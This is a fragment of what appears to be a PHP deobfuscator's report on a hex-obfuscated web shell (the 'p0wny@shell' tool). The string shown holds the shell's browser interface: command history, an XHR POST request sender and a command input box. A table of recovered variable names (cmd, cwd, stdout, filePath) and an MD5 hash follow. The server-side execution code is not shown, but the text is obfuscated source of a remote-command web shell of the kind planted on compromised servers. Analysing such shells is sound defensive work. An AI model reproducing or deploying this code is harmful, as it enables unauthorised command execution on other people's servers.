\x20feat\x75r\x65\x48i\x6e\x74();\n      \x20\x20 \x20  \x20\x20 \x20\x20  \x20  \x20 \x62r\x65\x61k\x3b\n      \x20\x20  \x20 \x20 \x20 }\n  \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66unc\x74ion\x20\x69n\x73ertT\x6f\x48i\x73to\x72\x79(\x63\x6dd)\x20{\n\x20\x20\x20 \x20\x20\x20\x20\x20 \x20 \x20 \x20\x20c\x6f\x6dm\x61\x6ed\x48\x69\x73\x74or\x79.p\x75\x73h(\x63\x6dd);\n\x20\x20    \x20\x20\x20   \x20\x20\x20 h\x69st\x6f\x72\x79\x50\x6f\x73i\x74i\x6fn =\x20\x63\x6fm\x6dand\x48ist\x6fry\x2elen\x67t\x68;\n  \x20\x20 \x20   \x20\x20\x20}\n\n   \x20\x20\x20\x20\x20  \x20\x20\x66un\x63tion\x20m\x61keRe\x71\x75\x65\x73t(url,\x20p\x61r\x61ms, cal\x6cba\x63k)\x20{\n  \x20   \x20  \x20\x20\x20\x20  \x20\x66\x75n\x63tio\x6e\x20\x67\x65tQu\x65r\x79\x53tr\x69\x6e\x67()\x20{\n\x20  \x20\x20 \x20\x20   \x20 \x20\x20\x20\x20\x20 \x20v\x61\x72 \x61\x20= [];\n   \x20  \x20\x20\x20 \x20\x20  \x20   \x20 fo\x72 (v\x61r\x20ke\x79 \x69\x6e\x20\x70\x61\x72a\x6ds)\x20{\n     \x20\x20\x20\x20\x20\x20  \x20\x20\x20\x20\x20\x20 \x20 \x20 \x69\x66\x20(p\x61\x72\x61ms.\x68\x61\x73\x4f\x77n\x50\x72\x6f\x70e\x72\x74\x79(\x6be\x79))\x20{\n \x20 \x20    \x20\x20\x20\x20 \x20 \x20 \x20     \x20\x20\x20\x20 \x61\x2ep\x75\x73\x68(\x65\x6e\x63\x6f\x64eU\x52\x49Compone\x6e\x74(key)\x20+ \"=\x22\x20+ \x65\x6e\x63odeUR\x49C\x6fm\x70o\x6e\x65\x6e\x74(\x70arams[\x6bey]))\x3b\n\x20\x20\x20 \x20\x20 \x20\x20   \x20 \x20      \x20\x20\x20}\n  \x20     \x20 \x20 \x20  \x20\x20 \x20 }\n\x20\x20\x20 \x20   \x20\x20\x20  \x20 \x20  \x20 re\x74u\x72\x6e a\x2ej\x6fi\x6e(\x22&\x22);\n  \x20 \x20\x20 \x20   \x20\x20\x20  }\n\x20   \x20 \x20    \x20\x20   v\x61\x72 x\x68\x72 = \x6e\x65\x77\x20\x58\x4d\x4c\x48t\x74p\x52\x65\x71\x75\x65\x73\x74();\n\x20\x20 \x20\x20\x20\x20 \x20   \x20\x20 \x20x\x68r\x2eo\x70en(\x22P\x4fS\x54\x22, ur\x6c,\x20t\x72\x75e);\n  \x20  \x20  \x20\x20\x20\x20\x20   xh\x72.\x73\x65tRe\x71\x75est\x48e\x61\x64e\x72(\"C\x6f\x6eten\x74-\x54\x79p\x65\x22, \x22\x61\x70pl\x69c\x61\x74i\x6f\x6e/x-\x77\x77w-\x66\x6fr\x6d-\x75\x72l\x65n\x63od\x65d\x22)\x3b\n\x20\x20 \x20\x20 \x20 \x20  \x20\x20  \x20\x78\x68\x72\x2e\x6fn\x72ea\x64y\x73ta\x74ec\x68\x61ng\x65 \x3d\x20fu\x6ect\x69\x6f\x6e()\x20{\n  \x20\x20   \x20\x20\x20\x20 \x20  \x20\x20\x20 \x20if (\x78h\x72\x2e\x72\x65\x61\x64ySt\x61t\x65 =\x3d\x3d\x204\x20\x26\x26 xhr.\x73t\x61\x74u\x73\x20\x3d==\x20\x320\x30) {\n\x20\x20 \x20 \x20     \x20 \x20  \x20  \x20\x20\x20 \x20\x74ry\x20{\n   \x20  \x20 \x20\x20\x20  \x20\x20 \x20 \x20\x20\x20 \x20 \x20 \x20\x20v\x61r re\x73\x70on\x73\x65Json\x20\x3d\x20\x4a\x53ON\x2e\x70\x61rse(\x78hr\x2eres\x70ons\x65\x54\x65\x78t);\n\x20\x20 \x20 \x20  \x20 \x20\x20 \x20\x20  \x20 \x20  \x20\x20 \x20 \x20callba\x63k(\x72\x65sp\x6f\x6ese\x4a\x73on);\n\x20\x20   \x20\x20 \x20\x20  \x20\x20\x20\x20\x20\x20  \x20\x20\x20\x20}\x20c\x61\x74\x63h\x20(er\x72or) {\n \x20\x20 \x20   \x20 \x20 \x20\x20 \x20   \x20  \x20  \x20\x20 a\x6c\x65\x72t(\"\x45rr\x6fr \x77\x68\x69\x6ce\x20p\x61\x72s\x69\x6e\x67 re\x73pon\x73\x65: \x22\x20+\x20erro\x72);\n  \x20\x20 \x20  \x20\x20\x20\x20    \x20     \x20 }\n\x20  \x20\x20 \x20        \x20\x20\x20\x20 }\n\x20 \x20   \x20\x20 \x20\x20    \x20}\x3b\n  \x20\x20\x20\x20 \x20 \x20    \x20 \x78\x68r.se\x6e\x64(\x67et\x51uer\x79\x53t\x72\x69\x6e\x67())\x3b\n \x20   \x20 \x20 \x20\x20\x20}\n\n \x20\x20\x20\x20\x20\x20\x20\x20\x20 \x20d\x6f\x63u\x6d\x65nt.oncl\x69c\x6b\x20\x3d \x66un\x63tion(\x65\x76\x65n\x74) {\n  \x20  \x20  \x20\x20  \x20\x20 \x20\x65ve\x6et = ev\x65nt ||\x20\x77i\x6ed\x6fw\x2eeve\x6e\x74\x3b\n  \x20\x20\x20\x20\x20\x20\x20 \x20 \x20\x20\x20 va\x72\x20\x73e\x6c\x65c\x74\x69o\x6e\x20= wi\x6ed\x6fw\x2egetS\x65l\x65ct\x69\x6f\x6e();\n\x20 \x20   \x20  \x20\x20\x20\x20\x20  v\x61\x72\x20ta\x72get = e\x76\x65\x6e\x74\x2eta\x72ge\x74\x20||\x20eve\x6e\x74\x2e\x73rc\x45\x6cem\x65\x6et;\n\n\x20\x20\x20  \x20\x20  \x20 \x20 \x20  \x69\x66\x20(t\x61rg\x65t\x2etagN\x61\x6d\x65 \x3d\x3d\x3d \"S\x45\x4cE\x43\x54\x22) {\n  \x20\x20\x20 \x20 \x20 \x20 \x20 \x20 \x20 \x20\x20r\x65\x74u\x72\x6e\x3b\n\x20 \x20 \x20\x20   \x20  \x20 \x20\x20}\n\n  \x20 \x20 \x20 \x20\x20\x20\x20\x20 \x20 \x69f (!\x73\x65\x6c\x65ct\x69\x6fn\x2et\x6fS\x74\x72in\x67())\x20{\n \x20\x20\x20\x20\x20\x20\x20  \x20\x20 \x20\x20  \x20 \x20\x65\x53he\x6cl\x43mdInpu\x74.fo\x63\x75s();\n\x20   \x20\x20   \x20\x20  \x20 \x20}\n \x20\x20\x20 \x20 \x20 \x20\x20\x20};\n\n\x20 \x20\x20   \x20 \x20\x20\x20wi\x6e\x64\x6fw.onl\x6f\x61d\x20\x3d\x20\x66\x75n\x63ti\x6fn()\x20{\n\x20\x20\x20  \x20\x20 \x20\x20\x20 \x20  \x20\x65Sh\x65ll\x43m\x64I\x6e\x70ut\x20\x3d \x64\x6f\x63\x75me\x6et\x2e\x67\x65t\x45\x6cem\x65\x6e\x74\x42yId(\x22s\x68e\x6c\x6c-cmd\")\x3b\n     \x20  \x20   \x20\x20\x20 \x65Sh\x65l\x6c\x43ontent =\x20\x64oc\x75\x6de\x6et.\x67\x65\x74\x45l\x65\x6d\x65\x6e\x74\x42\x79I\x64(\x22s\x68e\x6c\x6c-co\x6et\x65nt\")\x3b\n  \x20\x20\x20 \x20 \x20  \x20\x20   u\x70\x64\x61\x74eCw\x64()\x3b\n\x20  \x20  \x20\x20 \x20\x20 \x20 \x20 e\x53\x68\x65ll\x43m\x64I\x6ep\x75t\x2ef\x6fc\x75\x73()\x3b\n \x20    \x20\x20  \x20 }\x3b\n\x20 \x20 \x20\x20\x20 \x3c/\x73\x63\x72i\x70\x74\x3e\n   \x20\x3c/\x68\x65a\x64>\n\n \x20\x20\x20<b\x6fd\x79\x3e\n\x20\x20 \x20\x20\x20\x20 <div\x20id\x3d\"s\x68e\x6cl\">\n\x20 \x20 \x20  \x20\x20  \x20<p\x72\x65\x20id\x3d\x22s\x68e\x6c\x6c-c\x6fnt\x65nt\">\n\x20\x20  \x20\x20\x20  \x20  \x20   <d\x69\x76 id=\x22s\x68e\x6cl-l\x6fg\x6f\"\x3e\n\x20\x20  \x20\x20\x20 __\x5f \x20 \x20\x20\x20\x20    \x20   \x20\x20\x20\x20  \x20\x20\x20\x20_\x5f\x5f\x5f\x20\x20\x20\x20  \x5f \x20\x20\x20   \x20 \x20_\x20\x5f\x20 \x20 \x20\x20\x20\x20\x5f \x20_ \x20 \x3c\x73\x70an\x3e\x3c/\x73pa\x6e>\n \x5f\x20\x5f_  / _ \x5c\x5f_\x20\x20\x20\x20 \x20\x5f_\x5f __\x20 \x5f\x20\x20 \x5f  / __\x20\\ _\x5f_| |_\x5f\x20\x20\x20__\x5f|\x20| |\x5f\x20/\\/|| ||\x20|_\x20<sp\x61\x6e\x3e\x3c/s\x70\x61n\x3e\n|\x20\x27\x5f \\|\x20|\x20|\x20\\ \\ /\x5c /\x20/ '\x5f\x20\\| |\x20| |/\x20/\x20\x5f` /\x20\x5f_| \x27\x5f\x20\x5c / _ \x5c\x20|\x20(_)/\\/\x5f\x20\x20..\x20 \x5f|<span\x3e</s\x70\x61n\x3e\n|\x20|_)\x20|\x20|\x5f|\x20|\x5c\x20V\x20 V /|\x20|\x20| |\x20|\x5f|\x20|\x20| (\x5f| \x5c_\x5f\x20\x5c\x20| | |\x20 \x5f\x5f/\x20| |\x5f   |\x5f  \x20\x20  _|<\x73\x70\x61\x6e>\x3c/\x73\x70a\x6e\x3e\n|\x20\x2e_\x5f/\x20\x5c_\x5f_/  \x5c\x5f/\x5c\x5f/\x20|\x5f| |\x5f|\x5c\x5f_, |\x5c\x20\\\x5f_,\x5f|\x5f_\x5f/_| |_|\\\x5f_\x5f|_|_(_)\x20\x20\x20\x20|\x5f||\x5f|\x20\x20\x3cs\x70\x61\x6e\x3e\x3c/\x73pan>\n|_|      \x20 \x20  \x20   \x20 \x20 \x20\x20   \x20|\x5f_\x5f/ \x20\\\x5f__\x5f/\x20    \x20 \x20  \x20\x20  \x20\x20 \x20   \x20\x20\x20   \x20 \x20\x20\x20 \x20<\x73pa\x6e>\x3c/s\x70a\x6e\x3e\n    \x20   \x20   \x20\x20  \x3c/di\x76>\n  \x20\x20\x20    \x20  </p\x72\x65\x3e\n   \x20     \x20  \x3cd\x69\x76\x20\x69d=\x22shell-\x69\x6e\x70u\x74\">\n\x20  \x20\x20  \x20\x20  \x20\x20\x20  <\x6cab\x65l \x66\x6f\x72=\"\x73hell-\x63m\x64\"\x20\x69\x64=\x22\x73\x68e\x6cl-p\x72om\x70t\x22\x20c\x6c\x61s\x73=\"\x73\x68\x65\x6c\x6c-p\x72\x6f\x6d\x70\x74\x22\x3e???\x3c/l\x61bel>\n\x20 \x20\x20 \x20    \x20    \x20\x3c\x64\x69\x76>\n\x20 \x20\x20\x20 \x20\x20 \x20 \x20  \x20 \x20\x20\x20 \x3c\x69\x6e\x70ut i\x64\x3d\x22\x73h\x65l\x6c-\x63md\x22\x20\x6e\x61\x6de\x3d\x22c\x6dd\x22\x20on\x6b\x65y\x64ow\x6e=\x22\x5f\x6f\x6e\x53h\x65\x6c\x6c\x43\x6d\x64\x4beyDo\x77\x6e(\x65v\x65n\x74)\"/>\n \x20 \x20 \x20\x20 \x20\x20\x20\x20\x20\x20 \x20\x3c/d\x69v\x3e\n   \x20\x20\x20\x20\x20\x20   \x3c/div>\n\x20   \x20\x20\x20 </\x64i\x76>\n\x20\x20\x20\x20\x3c/bo\x64\x79\x3e\n\n</\x68tml>\n";
?>

Function Calls

None

Variables

GLOBALS [{'key': 'vmsnqxvqmue', 'value': 'response'}, {'key': 'ychimqiumsh', 'value': 'path'}, {'key': 'bjxlwmfcmwpj', 'value': 'f'}, {'key': 'pqgvovnuhx', 'value': 'filePath'}, {'key': 'etcywxnfabn', 'value': 'file'}, {'key': 'xnuehzrc', 'value': 'files'}, {'key': 'oqwcfzkxu', 'value': 'type'}, {'key': 'rbxiidzgd', 'value': 'match'}, {'key': 'amvqikx', 'value': 'cwd'}, {'key': 'rqrzaksgl', 'value': 'cmd'}, {'key': 'uuiugqi', 'value': 'stdout'}]

Stats

MD5 41228ba1508583f4b5817a2182cf0f15
Eval Count 0
Decode Time 243 ms